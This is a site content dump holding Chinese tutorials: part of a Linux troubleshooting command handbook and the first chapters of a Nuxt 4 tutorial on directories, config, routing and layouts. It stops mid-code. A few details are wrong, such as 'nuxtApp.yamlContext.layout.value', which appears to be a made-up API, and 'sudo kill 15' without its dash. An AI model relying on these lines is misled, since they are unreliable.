0（抓完整包，老版本默认截 96 字节）、-c 100（限量防写爆磁盘）、-A\u002F-X（看载荷，明文协议调试用）、-l（行缓冲实时输出，配管道用）。看实时流量分布用 nethogs（按进程看带宽，找「谁在下东西」最直接）或 iftop -P（按连接看，-i eth0，界面里 p 显示累计、b 切换源\u002F目的排序）。",{"id":132606,"title":95352,"titles":132607,"content":132608,"level":357},"\u002Ftutorials\u002Flinux#_8-现象-先跑哪几条命令",[74425,94234],"现象 第一批命令（照抄） 看到什么算定位 CPU 高 \u002F 变慢 uptime; nproc → top（按 P）→ pidstat 1 5 → strace -c -p PID us 高 = 应用算法\u002F循环；sy 高 = 系统调用风暴；wa 高 = 其实是 IO；load 高但 CPU 空 = D 状态堆 内存吃满 \u002F 被 OOM free -h → dmesg | grep -i kill → ps -eo pid,user,rss,cmd --sort=-rss | head → cat \u002Fproc\u002Fmeminfo | head available 小 + si\u002Fso 活动 = 真缺；SReclaimable\u002Fbuff\u002Fcache 大 = 假象 磁盘满 df -h → df -i → du -xh \u002F --max-depth=2 | sort -h | tail → sudo lsof +L1 三者各对应：块满 \u002F inode 满 \u002F 已删除未释放 磁盘 IO 高 iostat -xz 1 → iotop -o → pidstat -d 1 %util≈100 且 await 大 = 设备瓶颈；util 低但 await 高 = 队列排队\u002F驱动 网络不通 ip a → ip route get 目标IP → ping -c 3 → nc -vz 目标 端口 → curl -v 路由不通 \u002F ICMP 被封 \u002F TCP 连不上 \u002F TLS 或 HTTP 层错，四层各归各位 端口没监听 ss -tulnp → ss -lntp | grep 8080 → systemctl status 服务 根本没起 vs 只绑了 127.0.0.1 vs 被别的服务占了 服务起不来 systemctl status 名 → journalctl -u 名 -n 50 --no-pager → systemctl cat 名 看 Main PID、Exit code、ExecStart 路径是否存在与权限 进程杀不掉 ps -o pid,stat,user,cmd -p PID → sudo kill 15 → sudo kill -9 → 若 D 状态：cat \u002Fproc\u002FPID\u002Fwchan D = 等内核 IO（杀不动，修底层）；Z = 僵尸（父进程回收）；systemd 拉起 = 用 systemctl stop 时间不对 timedatectl → chronyc sources\u002Fntpq -p → hwclock -r NTPSynchronized=no、时区错、双系统 UTC\u002F本地冲突 权限被拒 sudo -u appuser 原命令 → namei -l 全路径 → id appuser → getenforce\u002Fausearch -m avc 父目录缺 x、组变更后没重登、SELinux 上下文 文件找不到\u002F版本乱 command -v X → dpkg -S $(command -v X)（或 rpm -qf）→ update-alternatives --list X 多版本共存时看谁在前 登录不上 SSH ssh -v → journalctl -u ssh -n 50 → sudo ss -tlnp | grep 22 → sudo tail -50 \u002Fvar\u002Flog\u002Fauth.log 端口、配置、认证方式、faillock 各查一段 某个应用行为怪 strace -f -e trace=file,network .\u002Fapp → lsof -p PID 读错配置、连错地址、写到只读目录",{"id":132610,"title":95706,"titles":132611,"content":132612,"level":357},"\u002Ftutorials\u002Flinux#_9-总速查表我想干一件事-用什么命令",[74425,94234],"我想 命令 看我在哪、有什么 pwd、ls -lh、tree -L 2 找文件（按名字） find \u002F -xdev -maxdepth 4 -name '*.log' -mtime -7 找文件（按内容） grep -rl '关键词' \u002Fetc 找命令属于哪个包 dpkg -S $(command -v X) \u002F rpm -qf $(command -v X) 看文件内容 less -N file、head -n 200、tail -F file 看不可见字符\u002F换行 cat -A file、od -c -N 64 file 批量替换配置 sed -i.bak 's\u002F^旧\u002F新\u002F' file 然后 diff file.bak file 按列统计 awk '{print $1}' log | sort | uniq -c | sort -rn | head 看谁占空间 du -h --max-depth=1 . | sort -h | tail -15 看磁盘\u002Finode df -hT、df -i 看挂载与读写状态 findmnt -T \u002F路径、lsblk -f 看进程 ps aux --sort=-%cpu | head、top、htop 按名字找进程 pgrep -af '关键词' 停服务 \u002F 停进程 systemctl stop app；kill 28414 → 10 秒后 kill -9 28414 看服务日志 journalctl -u app -f、journalctl -u app --since \"10 min ago\" -p err 改服务配置 systemctl edit app → systemctl daemon-reload && systemctl restart app 看谁在监听端口 sudo ss -tulnp 测端口通不通 nc -vz 10.0.0.5 5432 测接口健康 curl -sS -o \u002Fdev\u002Fnull -w '%{http_code} %{time_total}\\n' URL 验证 DNS getent hosts 域名、dig +short 域名 @1.1.1.1 走跳板连内网 ssh -J bastion app、ssh -L 5432:db:5432 bastion 备份\u002F同步目录 rsync -avz --delete src\u002F host:\u002Fbackup\u002F（先 -n 干跑） 打包 \u002F 解包 tar czf app.tar.gz 目录、tar xzf app.tar.gz -C 目标 不解压搜日志 zgrep -h 'ERROR' \u002Fvar\u002Flog\u002F*.gz 加一条定时任务 crontab -e（命令写绝对路径、输出重定向、% 转义） 建用户\u002F加组 sudo useradd -m -s \u002Fbin\u002Fbash 名字、sudo usermod -aG docker 名字（必须 -a，然后重新登录） 看自己身份 id、groups、sudo -l 修权限 chown -R app:app \u002Fsrv\u002Fapp、chmod -R a+rX \u002Fsrv\u002Fapp、namei -l 全路径 装\u002F卸包 apt install -y pkg \u002F dnf -y install pkg \u002F apk add --no-cache pkg 查包版本候选 apt policy pkg \u002F dnf list pkg 看资源总览 free -h、uptime、iostat -xz 1、vmstat 1、vgs\u002Flvs（LVM） 查历史性能 sar -u -f \u002Fvar\u002Flog\u002Fsa\u002Fsa04 抓包 sudo tcpdump -i any -nn -c 200 tcp port 443 定位「卡在哪个调用」 strace -c -p PID、strace -f -e trace=file .\u002Fapp 看内核报错 dmesg -T | tail -50、journalctl -k -b --since \"1 hour ago\" 跑个脚本看细节 bash -x script.sh、脚本头 set -euo pipefail 临时改环境变量 export PATH=\"$HOME\u002F.local\u002Fbin:$PATH\"、env -i bash 起干净环境 查\u002F改时间与时区 timedatectl、timedatectl set-timezone Asia\u002FShanghai、timedatectl set-ntp true 安全地删一批文件 find dir -name '*.tmp' -mtime +3 -print 确认后再把 -print 换 -delete",{"id":132614,"title":96227,"titles":132615,"content":132616,"level":357},"\u002Ftutorials\u002Flinux#一句话记住",[74425,94234],"排障永远按资源维度各看一眼：CPU（uptime\u002Ftop）→ 内存（free\u002Fdmesg）→ 磁盘容量（df -h \u002F df -i \u002F du）→ 磁盘 IO（iostat）→ 网络（ip\u002Fss\u002Fcurl）→ 服务（systemctl\u002Fjournalctl）→ 权限（namei\u002Fid）。七条命令走完还定位不到，才需要 strace 和 tcpdump 这种深度工具。本手册第十七张表就是这张检查单的落地版本。 html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}",{"id":17592,"title":4558,"titles":132618,"content":132619,"level":334},[],"零基础入门 Nuxt：目录约定、文件路由、useFetch 与水合、Nitro 服务端接口、渲染模式与 routeRules、静态部署与子路径 baseURL，15 章循序渐进，每章配可运行示例，末章汇总常见坑。 这门课的写法参照本站（一个真实的 Nuxt 4 静态站点）：每一章先给「最短能跑的一段代码」，再给对照表，最后列出这一章会踩的坑。学完的判定标准很朴素：你能从零起一个 Nuxt 项目，写出 5 个页面、2 个服务端接口，nuxt generate 出一份能丢进 Nginx 的静态产物。 版本基线：Nuxt 4.5 \u002F Nitro 2.x \u002F Vue 3.5 \u002F Vite 7。文中关键配置（app.baseURL、nitro.prerender、components 前缀、routeRules 等）都对照本项目的 nuxt.config.ts 与产物核过；需要区分旧行为时会注明「Nuxt 3 时代」。前置知识是本教程的姊妹篇《Vue 3 教程》——Nuxt 不发明新语法，它只是把 Vue 应用装进了一个有服务端的外壳里。",{"id":132621,"title":4595,"titles":132622,"content":132623,"level":341},"\u002Ftutorials\u002Fnuxt#一nuxt-是什么vue-应用外面那层服务端",[4558],"一句话：Nuxt = Vue + 路由 + 服务端渲染 + 构建配置 + 一整套目录约定。 如果你已经按《Vue 3 教程》用 Vite 建过项目，你会遇到这三件事，Nuxt 就是把它们全包了： 你自己搭 Vite + Vue 时的活 Nuxt 里的对应 装 vue-router、写路由表、注册 \u003CRouterView> 在 app\u002Fpages\u002F 放文件，路由自动生成 建 components\u002F、每个组件手写 import 放进 app\u002Fcomponents\u002F，模板里直接用 写 useCounter.js 组合式函数并手动 import 放进 app\u002Fcomposables\u002F，自动可用 配 vite.config.js、build.base、dev 代理 nuxt.config.ts 一个文件 需要 SEO \u002F 首屏快 → 自己搭 Node SSR 服务 内置 SSR，且能一个开关切到纯静态 需要几个后端接口给前端用 server\u002Fapi\u002F*.ts 文件即接口（Nitro）",{"id":132625,"title":4710,"titles":132626,"content":132627,"level":357},"\u002Ftutorials\u002Fnuxt#为什么首屏这件事值得多一层服务端",[4558,4595],"浏览器拿到的是 HTML。SPA（纯客户端渲染）的 HTML 里只有一个空 \u003Cdiv id=\"app\">\u003C\u002Fdiv>，正文要等 JS 下载、执行、请求数据之后才出现；SSR 的 HTML 里正文已经在里面了。 差别体现在三件具体的事上： 用户：首屏不白屏，弱网\u002F低端机上观感差距明显。 爬虫：搜索引擎抓取的是 HTML 源码。正文在源码里 = 能被索引；空壳 = 你得赌它的渲染引擎会执行 JS。社交平台的分享卡片（Open Graph）同理。 成本：SSR 需要服务器跑 Node 进程；但 Nuxt 还能「构建期就把 HTML 全生成好」（nuxt generate），产物是纯静态文件，一台 Nginx 甚至对象存储就够——这正好是很多内容站真正需要的形态。 示例 01 把两种模式的瀑布一步步放给你看，最值得注意的是 SSR 那条：看得见 ≠ 点得动。服务端渲染出的 HTML 只是「长得一样」，事件要等客户端 JS 执行完「水合」才绑上——这是理解后面所有坑的前提。",{"id":132629,"title":4763,"titles":132630,"content":132631,"level":357},"\u002Ftutorials\u002Fnuxt#nuxt-与-vue-的关系不是什么",[4558,4595],"Nuxt 不是另一个框架，语法还是 Vue 那一套（\u003Cscript setup>、ref、computed、组件、Pinia、Vue Router 全都在）。 Nuxt 不是「必须有一个后端」。它可以输出纯静态文件，服务器上完全不跑 Node。 Nuxt 不是 Next\u002FNuxt 之争的主角。它对标的是「Next.js 之于 React」，但作为 Vue 官方推荐的应用框架，接口设计更贴近 Vue 的直觉。",{"id":132633,"title":4796,"titles":132634,"content":132635,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑",[4558,4595],"1. 以为 Nuxt 一定要 Node 服务器。 内容站用 nuxt generate 出静态产物 + Nginx 就够了（第十三章实测链路）。反过来说，需要「按请求动态渲染」时才要 Node（nuxt build + node .output\u002Fserver\u002Findex.mjs）。 2. 把 SSR 当成「一定比 CSR 快」。 服务端要为每个请求跑一遍组件渲染，高并发下 CPU 是成本；对纯内部系统（登录才能进、无 SEO 需求）ssr: false 反而更省事。 3. 忽略了「水合」这一层的代价。 SSR 首屏有内容，但要等 JS 加载完才可交互，这段间隔叫 TTI。页面里塞了大 JS 时，SSR 也救不了交互延迟——所以第九章的渲染模式和第十四章的包体积优化要一起看。 4. 拿 Nuxt 2 \u002F Nuxt 3 的老教程直接抄。 Nuxt 4 把源码目录收进了 app\u002F（pages\u002F → app\u002Fpages\u002F），server\u002F、public\u002F、content\u002F 仍在根目录。还有一批默认值变化（见第二章对照表）。搜资料时先确认版本。",{"id":132637,"title":4860,"titles":132638,"content":132639,"level":357},"\u002Ftutorials\u002Fnuxt#附名词对照",[4558,4595],"名词 是什么 Nuxt 应用框架（你写代码的地方） Nitro Nuxt 的服务端引擎（server\u002F 目录、构建产物、部署适配都是它管的） Vite 开发服务器与打包器，Nuxt 用它，配置通过 vite: {} 传 h3 Nitro 里的 HTTP 框架，defineEventHandler 来自它 SSR \u002F SSG \u002F CSR 服务端渲染 \u002F 构建期静态生成 \u002F 纯客户端渲染 水合（hydration） 客户端把已有 DOM 接管为响应式组件，并绑上事件 payload Nuxt 把服务端取到的数据序列化进 _payload.json，供客户端复用",{"id":132641,"title":4948,"titles":132642,"content":314,"level":341},"\u002Ftutorials\u002Fnuxt#二跑起来第一个项目三条命令与目录约定",[4558],{"id":132644,"title":4951,"titles":132645,"content":132646,"level":357},"\u002Ftutorials\u002Fnuxt#创建与运行",[4558,4948],"# ① 官方脚手架（会问你是否装 modules \u002F 用 TS \u002F 起 dev 服务）\nnpx nuxi@latest init my-site\n\n# ② 手动（已有仓库时）\nnpm create nuxt@latest my-site\n\ncd my-site\nnpm install\nnpm run dev          # http:\u002F\u002Flocalhost:3000，改文件即时热更新 package.json 里 Nuxt 给了四条命令，语义区别要一次记清： 命令 做什么 产物 用于 nuxt dev 带 SSR 的开发服务器 无（内存里跑） 日常开发 nuxt build 生产构建，保留服务端 .output\u002F（含 Node server） 需要按请求动态渲染\u002F接口 nuxt generate 构建 + 把所有页面预渲染成 HTML .output\u002Fpublic\u002F（纯静态） 内容站、部署到 Nginx\u002FOSS nuxt preview 本地按产物方式预览 — 上线前必跑一遍 nuxt prepare（脚手架会挂到 postinstall）用来生成 .nuxt\u002F 里的类型与自动导入声明——IDE 报「找不到 useFetch」多半是它没跑过。",{"id":132648,"title":17456,"titles":132649,"content":132650,"level":357},"\u002Ftutorials\u002Fnuxt#目录约定nuxt-4源码进-app",[4558,4948],"my-site\u002F\n├── nuxt.config.ts        唯一的总配置\n├── app\u002F                  ← Nuxt 4 的 srcDir\n│   ├── app.vue           根组件（挂 \u003CNuxtLayout>\u003CNuxtPage\u002F>\u003C\u002FNuxtLayout>）\n│   ├── error.vue         错误页（放在 app\u002F 根，专门显示 404\u002F500）\n│   ├── pages\u002F            页面 → 自动生成路由（第三章）\n│   ├── layouts\u002F          布局骨架（default.vue 默认全站套用）\n│   ├── components\u002F       组件，自动导入（本章最后一节）\n│   ├── composables\u002F      useXxx 组合式函数，自动导入\n│   ├── utils\u002F            纯函数，自动导入（无需 use 前缀）\n│   ├── plugins\u002F          插件（第十二节）\n│   ├── middleware\u002F       路由中间件（第十二章）\n│   └── assets\u002F           需要被打包的 css\u002F图片\u002F字体\n├── server\u002F               Nitro 服务端\n│   ├── api\u002F              文件即接口 → \u002Fapi\u002Fxxx\n│   ├── routes\u002F           不走 \u002Fapi 前缀的接口\n│   ├── middleware\u002F       服务端中间件\n│   └── utils\u002F            服务端内部工具，自动导入\n├── public\u002F               原样拷贝到产物根（favicon、静态 demo）\n├── content\u002F              内容模块的 Markdown（本站教程就放这里）\n└── .nuxt\u002F                构建缓存与生成物，别提交 git public\u002F 与 app\u002Fassets\u002F 的分界是最常问的：public\u002F 里的文件路径不变、原样搬过去（public\u002Fimg\u002Flogo.png 直接用 \u002Fimg\u002Flogo.png）；assets\u002F 里的会被打包、加哈希、能参与 CSS url() 解析和体积优化。 示例 02 把整棵树做成了可点开的形式，顶部还能按关键词（layouts \u002F api \u002F public）过滤，忘了某个目录放什么就点一下。",{"id":132652,"title":17458,"titles":132653,"content":132654,"level":357},"\u002Ftutorials\u002Fnuxt#nuxtconfigts-的最小可用版",[4558,4948],"本站的实际配置形状（有删减，注释是我加的）： \u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  compatibilityDate: '2025-09-01',      \u002F\u002F 锁定行为版本，避免升级悄悄改默认值\n  devtools: { enabled: true },\n\n  ssr: true,                            \u002F\u002F 服务端渲染（默认就是 true）\n\n  modules: ['@nuxt\u002Fcontent', '@nuxtjs\u002Fsitemap'],\n\n  components: [{ path: '~\u002Fcomponents', pathPrefix: false }],  \u002F\u002F 关掉「目录名前缀」\n\n  nitro: {\n    prerender: {\n      crawlLinks: true,                 \u002F\u002F 从入口出发顺着链接爬，自动发现要生成的页面\n      routes: ['\u002F', '\u002Ftools', '\u002Farticles', '\u002Ftutorials']\n    }\n  },\n\n  site: { url: 'https:\u002F\u002Fyour-domain.com', name: '站名' }   \u002F\u002F sitemap \u002F OG 绝对地址用\n}) ~ 别名指向 srcDir（Nuxt 4 里就是 app\u002F），@@ 指向项目根目录。",{"id":132656,"title":5419,"titles":132657,"content":132658,"level":357},"\u002Ftutorials\u002Fnuxt#自动导入nuxt-最省力也最容易懵的一层",[4558,4948],"下面这些不需要 import，在 app\u002F 里直接写就能用： 类别 例子 规则 Vue \u002F Vue Router API ref、computed、watch、useRoute、useRouter 自动按需引入（import 手写也行，不会重复） Nuxt 组合式函数 useFetch、useAsyncData、useHead、navigateTo、callOnce、useState 内置 编译器宏 definePageMeta、defineNuxtRouteMiddleware、defineNuxtPlugin、defineAppConfig 别去 import，它们由编译器在构建时替换 app\u002Fcomponents\u002F 的组件 AppHeader.vue → \u003CAppHeader> 默认带目录前缀：components\u002Fui\u002FBaseButton.vue → \u003CUiBaseButton>；用上面 pathPrefix: false 关掉 app\u002Fcomposables\u002F useDocToc() 文件名里必须是 use-xxx \u002F useXxx app\u002Futils\u002F formatDate() 无命名限制 server\u002Futils\u002F useDb()（仅服务端可用） 服务端自动导入 不会自动导入的：第三方库（axios、lodash-es、dayjs）、你自己的非约定目录（app\u002Fhelpers\u002F）、Node 内置模块（node:fs，而且只能在 server\u002F 里用）。",{"id":132660,"title":4796,"titles":132661,"content":132662,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-1",[4558,4948],"1. IDE 报 Cannot find name 'useFetch'。 没跑 nuxt prepare（或 npm install 后没触发 postinstall）。跑一次即可，.nuxt\u002Ftypes\u002F 里就有声明。TS 项目还要确认 tsconfig.json 是 extends \".\u002F.nuxt\u002Ftsconfig.json\"。 2. tsconfig.json 指向了错误的 workspace。 Nuxt 会生成 .nuxt\u002Ftsconfig.server.json 给 server\u002F 用（两套上下文不同：一个有 window，一个有 process）。把整个项目塞进同一份 tsconfig 里会看到一堆假报错。 3. 组件目录前缀让 \u003CBaseButton> 找不到。 默认规则是「子目录名会拼进组件名」（components\u002Fui\u002FBaseButton.vue → \u003CUiBaseButton>）。两种解法：按规则写名字，或配 components: [{ path: '~\u002Fcomponents', pathPrefix: false }]。同一项目里选一种，别混——混用会出现「同名组件被两个来源解析」。 4. 组件名冲突时静默覆盖。 两个不同目录里的同名 Card.vue（关掉前缀后尤其容易），后者赢，且只有一个能用。给基础组件加前缀（Base\u002FApp\u002F领域名）是根治办法。 5. 把 public\u002F 当 assets\u002F 用。 public\u002F 里的图片不参与哈希与优化，改文件后浏览器可能拿旧缓存；assets\u002F 里的被打包且带哈希。反过来把大文件塞进 assets\u002F 会让构建变慢。经验：要缓存指纹的进 assets，直接按路径引用的（favicon、robots.txt、demo）进 public。 6. 在 app\u002F 里 import 'node:fs'。 Nuxt 不会拦你，但运行到服务端上下文之外就炸。需要在服务端读文件的逻辑请放 server\u002F（第七章）。 7. .nuxt\u002F 提交进 git 或手工编辑。 那是生成物，随时会被覆盖。要改配置就改 nuxt.config.ts。 8. compatibilityDate 忘了设。 不设时 Nuxt 会用一个默认日期，未来升级后部分行为默认值改变（例如某些序列化、路由匹配细节）。显式写死它，是「升级不炸」的最低成本保险。",{"id":132664,"title":5792,"titles":132665,"content":132666,"level":357},"\u002Ftutorials\u002Fnuxt#附nuxt-3-nuxt-4-迁移对照",[4558,4948],"项目 Nuxt 3 Nuxt 4 源码目录 根目录 pages\u002F、components\u002F… 全部进 app\u002F（srcDir: 'app\u002F'） 服务端 \u002F public \u002F content 根目录 不变（仍在根目录） 异步数据默认值 useFetch 无 default 时给 null 需要通过 default: () => … 显式给（data 初始为 undefined） useState 可在组件外调用 必须在 setup 上下文内 路由 meta 里的 key 前缀、hydration 属性 data-v-app 等 若干 DOM 细节变化（依赖第三方 CSS 选择器时要注意） 升级命令 — npx nuxi@latest upgrade --force 升级命令 — npx nuxi@latest upgrade --force 官方 codemod（批量搬目录） — npx @nuxt\u002Fupgrade-nuxt-4（或 upgrade 向导里的 move files）",{"id":132668,"title":5940,"titles":132669,"content":132670,"level":341},"\u002Ftutorials\u002Fnuxt#三页面与路由文件名就是-url",[4558],"app\u002Fpages\u002F 下的 .vue 文件会被编译成路由表——没有单独的路由配置文件需要维护（背后仍是 Vue Router，vue-router 是 Nuxt 的依赖）。这也是 Nuxt 相比手搭 Vite 项目省掉的最大一块活。",{"id":132672,"title":5958,"titles":132673,"content":132674,"level":357},"\u002Ftutorials\u002Fnuxt#路径映射规则",[4558,5940],"app\u002Fpages\u002Findex.vue                 →  \u002F\napp\u002Fpages\u002Fabout.vue                 →  \u002Fabout\napp\u002Fpages\u002Fblog\u002Findex.vue            →  \u002Fblog\napp\u002Fpages\u002Fblog\u002F[slug].vue           →  \u002Fblog\u002F:slug            动态段\napp\u002Fpages\u002Fusers\u002F[id]\u002Forders.vue     →  \u002Fusers\u002F:id\u002Forders\napp\u002Fpages\u002Fdocs\u002F[...path].vue        →  \u002Fdocs\u002F*                通配（catch-all）\napp\u002Fpages\u002F(marketing)\u002Fpricing.vue   →  \u002Fpricing               括号目录（分组）不进 URL\napp\u002Fpages\u002Fp\u002F[[id]].vue              →  \u002Fp\u002F:id?                可选参数（双中括号） 分组目录（(admin)\u002F、(marketing)\u002F）纯粹用来在文件管理器里归类文件，对 URL 无影响；同名的分组可以跨目录合并到同一个父路由。",{"id":132676,"title":17466,"titles":132677,"content":132678,"level":357},"\u002Ftutorials\u002Fnuxt#嵌套页面父组件里要写-nuxtpage",[4558,5940],"这是新手最容易卡住的一条：父级页面模板里没有 \u003CNuxtPage \u002F>，子路由就渲染不出来（不报错，只是空白）。 \u003C!-- app\u002Fpages\u002Fdashboard.vue：\u002Fdashboard 与 \u002Fdashboard\u002Fanalytics 共用的外壳 -->\n\u003Ctemplate>\n  \u003Cdiv class=\"dash\">\n    \u003Caside>侧边栏（子路由切换时它不会重建）\u003C\u002Faside>\n    \u003CNuxtPage \u002F>          \u003C!-- 子页面渲染在这里 -->\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003C!-- app\u002Fpages\u002Fdashboard\u002Findex.vue → \u002Fdashboard -->\n\u003C!-- app\u002Fpages\u002Fdashboard\u002Fanalytics.vue → \u002Fdashboard\u002Fanalytics --> 只换子页面时父组件实例被复用（和 Vue Router 的行为一致），这正是「切换 tab 但侧边栏不闪」的实现方式。",{"id":132680,"title":17468,"titles":132681,"content":132682,"level":357},"\u002Ftutorials\u002Fnuxt#导航nuxtlink-与-navigateto",[4558,5940],"\u003Ctemplate>\n  \u003CNuxtLink to=\"\u002Fabout\">关于\u003C\u002FNuxtLink>\n  \u003CNuxtLink :to=\"{ path: '\u002Fblog\u002Fvue3', query: { utm: 'nav' } }\">读一读\u003C\u002FNuxtLink>\n  \u003CNuxtLink to=\"\u002Fblog\" active-class=\"on\" exact-active-class=\"on-exact\">博客\u003C\u002FNuxtLink>\n  \u003CNuxtLink to=\"https:\u002F\u002Fexample.com\" external target=\"_blank\" rel=\"noopener\">站外链接\u003C\u002FNuxtLink>\n  \u003CNuxtLink :custom=\"false\">…\u003C\u002FNuxtLink>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n\u002F\u002F 命令式跳转\nawait navigateTo('\u002Flogin?redirect=' + route.fullPath)      \u002F\u002F 推荐：SSR 期间也能正确发起跳转\n\u002F\u002F router.push('\u002Fx')  仍然可用，但 SSR 阶段请优先 navigateTo\nconst route = useRoute()\nconst router = useRouter()\n\u003C\u002Fscript> \u003CNuxtLink> 相比 \u003CRouterLink> 多做了几件事：自动给外链加 target（配合 external）、默认对站内链接开启组件与数据预取（鼠标悬停即预取，点击时数据已在本地）、可写 no-prefetch 关掉。",{"id":132684,"title":17470,"titles":132685,"content":132686,"level":357},"\u002Ftutorials\u002Fnuxt#页面级配置definepagemeta",[4558,5940],"写在页面组件的 \u003Cscript setup> 顶层，编译器宏，不要 import： \u003Cscript setup>\ndefinePageMeta({\n  name: 'blog-detail',           \u002F\u002F 命名路由，便于 { name, params } 跳转\n  layout: 'doc',                 \u002F\u002F 套用 app\u002Flayouts\u002Fdoc.vue；false 表示不用布局\n  middleware: ['auth'],          \u002F\u002F 命名中间件（第十二章）\n  meta: { public: true },         \u002F\u002F 自定义字段，中间件里 to.meta.public 读得到\n  keepAlive: true,               \u002F\u002F 页面级缓存（切走不销毁）\n  keepalive: { max: 5 },         \u002F\u002F 更细的配置写法\n  scrollToTop: true,             \u002F\u002F 进入本页滚到顶部\n  validate: (route) => \u002F^\\d{4}$\u002F.test(route.params.year)   \u002F\u002F 参数不合法直接 404\n})\n\u003C\u002Fscript> validate 是很划算的一个字段：一个函数就能把 \u002Fblog\u002F2026-abcd 这种脏 URL 变成干净的 404，而不是让页面组件去处理空数据。 示例 03 上半部分是真的规则引擎（输入 blog\u002F[slug].vue 就出 \u002Fblog\u002F:slug），下半部分是五道反向练习题。",{"id":132688,"title":4796,"titles":132689,"content":132690,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-2",[4558,5940],"1. 父页面忘写 \u003CNuxtPage \u002F>。 子路由一片空白，控制台干净。排查顺序：父组件模板 → 子文件是否在 pages\u002F 下（不是 views\u002F）。 2. app\u002Fpages\u002F 下所有 .vue 都会变成路由。 你随手放的 README.vue、误建在 app\u002Fpages\u002Fcomponents\u002FCard.vue 的组件，都会生成一个可被访问的页面（\u002Fcomponents\u002Fcard）。非页面组件请一律放 app\u002Fcomponents\u002F；只想给某个页面用的私有组件，放 app\u002Fcomponents\u002F\u003C页面名>\u002F 下（例如 app\u002Fcomponents\u002Farticle\u002FCommentBox.vue），别留在 pages\u002F 里。若要依赖「以 - 开头的文件被忽略」这类规则，请先在你的 Nuxt 版本上实测确认再生效。 3. navigateTo 与 router.push 混用。 服务端渲染阶段（比如中间件里）要用 navigateTo()——它会把跳转变成一次真正的 HTTP 重定向；router.push 在 SSR 阶段没有意义。 4. 动态段参数是字符串。 route.params.id 拿到 '42'，直接参与 === 比较或算术就有类型问题。要数字就在跳转处传数字、在页面里 Number(route.params.id)，或用 props: true（definePageMeta({ props: true })）让 Nuxt 转成组件 props 后声明类型。 5. 通配路由 [...path].vue 会吃掉所有子路径。 它必须能处理「参数为空」的情况（\u002Fdocs 本身命中时 path 是 []），否则进入父路径就是 500。 6. 只有 query 变化的跳转不会重跑 onMounted。 \u002Flist?page=1 → \u002Flist?page=2 复用同一组件实例。数据要跟着 query 走，请用 useFetch(url, { watch: [query] }) 或 watch(() => route.query, ...)（第五章展开）。 7. keepAlive: true 后页面数据不再刷新。 与 Vue 教程第十四章同一个坑：onMounted 只跑一次，需要「每次进入都刷新」请写 onActivated，或对该页面关掉 keepAlive。 8. 分组目录名里带斜杠或特殊字符。 (a\u002Fb) 是非法的，会被当成两层目录。分组名请只用字母数字和连字符。",{"id":132692,"title":6778,"titles":132693,"content":132694,"level":357},"\u002Ftutorials\u002Fnuxt#附文件名-url-速查",[4558,5940],"文件 URL 读参数 pages\u002Findex.vue \u002F — pages\u002Fabout.vue \u002Fabout — pages\u002Fblog\u002Findex.vue \u002Fblog — pages\u002Fblog\u002F[slug].vue \u002Fblog\u002F:slug route.params.slug pages\u002Fblog\u002F[year]\u002F[month].vue \u002Fblog\u002F:year\u002F:month 两个参数 pages\u002Fdocs\u002F[...path].vue \u002Fdocs\u002F* route.params.path（数组） pages\u002Fp\u002F[[id]].vue \u002Fp\u002F:id? 可能为 undefined pages\u002F(group)\u002Fx.vue \u002Fx — pages\u002Fusers\u002F[id]\u002Findex.vue \u002Fusers\u002F:id 父 users\u002F[id].vue 需 \u003CNuxtPage\u002F>",{"id":132696,"title":6942,"titles":132697,"content":132698,"level":341},"\u002Ftutorials\u002Fnuxt#四布局错误页与页面骨架",[4558],"一个站点的所有页面共享的「页头 + 容器 + 页脚」叫布局。Nuxt 用 app\u002Flayouts\u002F + \u003CNuxtLayout> 承担这件事。",{"id":132700,"title":6955,"titles":132701,"content":132702,"level":357},"\u002Ftutorials\u002Fnuxt#根组件与默认布局",[4558,6942],"Nuxt 4 里 app\u002Fapp.vue 是根组件，标准形状就三行： \u003C!-- app\u002Fapp.vue -->\n\u003Ctemplate>\n  \u003CNuxtLayout>\n    \u003CNuxtPage \u002F>\n  \u003C\u002FNuxtLayout>\n\u003C\u002Ftemplate> app\u002Flayouts\u002Fdefault.vue 会被自动套上（因为文件名是 default）： \u003C!-- app\u002Flayouts\u002Fdefault.vue -->\n\u003Ctemplate>\n  \u003Cdiv class=\"site\">\n    \u003CSiteHeader \u002F>\n    \u003Cmain class=\"container\">\u003Cslot \u002F>\u003C\u002Fmain>\n    \u003CSiteFooter \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate> \u003Cslot \u002F> 就是页面组件插进来的位置。布局里不要直接写 \u003CNuxtPage \u002F>，用 \u003Cslot \u002F>——这是官方明确的规定，写 \u003CNuxtPage \u002F> 会导致嵌套层级错乱（布局切换时页面被重新挂载）。 换布局或不用布局： \u003Cscript setup>\ndefinePageMeta({ layout: 'doc' })     \u002F\u002F 用 app\u002Flayouts\u002Fdoc.vue\ndefinePageMeta({ layout: false })     \u002F\u002F 不要布局（登录页、独立工具页常用）\n\u003C\u002Fscript> 运行时切换：nuxtApp.yamlContext.layout.value = 'doc'（useNuxtApp() 拿 nuxtApp），或 \u003CNuxtLayout name=\"doc\"> 手动包住一段内容。",{"id":132704,"title":17477,"titles":132705,"content":132706,"level":357},"\u002Ftutorials\u002Fnuxt#错误页apperrorvue",[4558,6942],"\u003C!-- app\u002Ferror.vue -->\n\u003Cscript setup>\nconst props = defineProps({ error: { type: Object, required: true } })\nconst home = () => 